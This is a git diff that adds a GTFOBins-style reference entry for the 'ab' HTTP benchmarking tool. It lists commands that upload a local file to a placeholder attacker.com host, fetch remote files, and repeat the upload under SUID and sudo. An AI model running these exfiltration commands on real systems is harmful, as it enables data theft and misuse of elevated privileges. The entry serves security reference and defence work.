diff --git a/_gtfobins/ab.md b/_gtfobins/ab.md new file mode 100644 index 0000000..a816311 --- /dev/null +++ b/_gtfobins/ab.md @@ -0,0 +1,26 @@ +--- +functions: + file-upload: + - description: Upload local file via HTTP POST request. + code: | + URL=http://attacker.com/ + LFILE=file_to_send + ab -p $LFILE $URL + file-download: + - description: Fetch a remote file via HTTP GET request. The response is returned as part of the verbose output of the program with some limitations on the length. + code: | + URL=http://attacker.com/file_to_download + ab -v2 $URL + suid: + - description: Upload local file via HTTP POST request. + code: | + URL=http://attacker.com/ + LFILE=file_to_send + ./ab -p $LFILE $URL + sudo: + - description: Upload local file via HTTP POST request. + code: | + URL=http://attacker.com/ + LFILE=file_to_send + sudo ab -p $LFILE $URL +---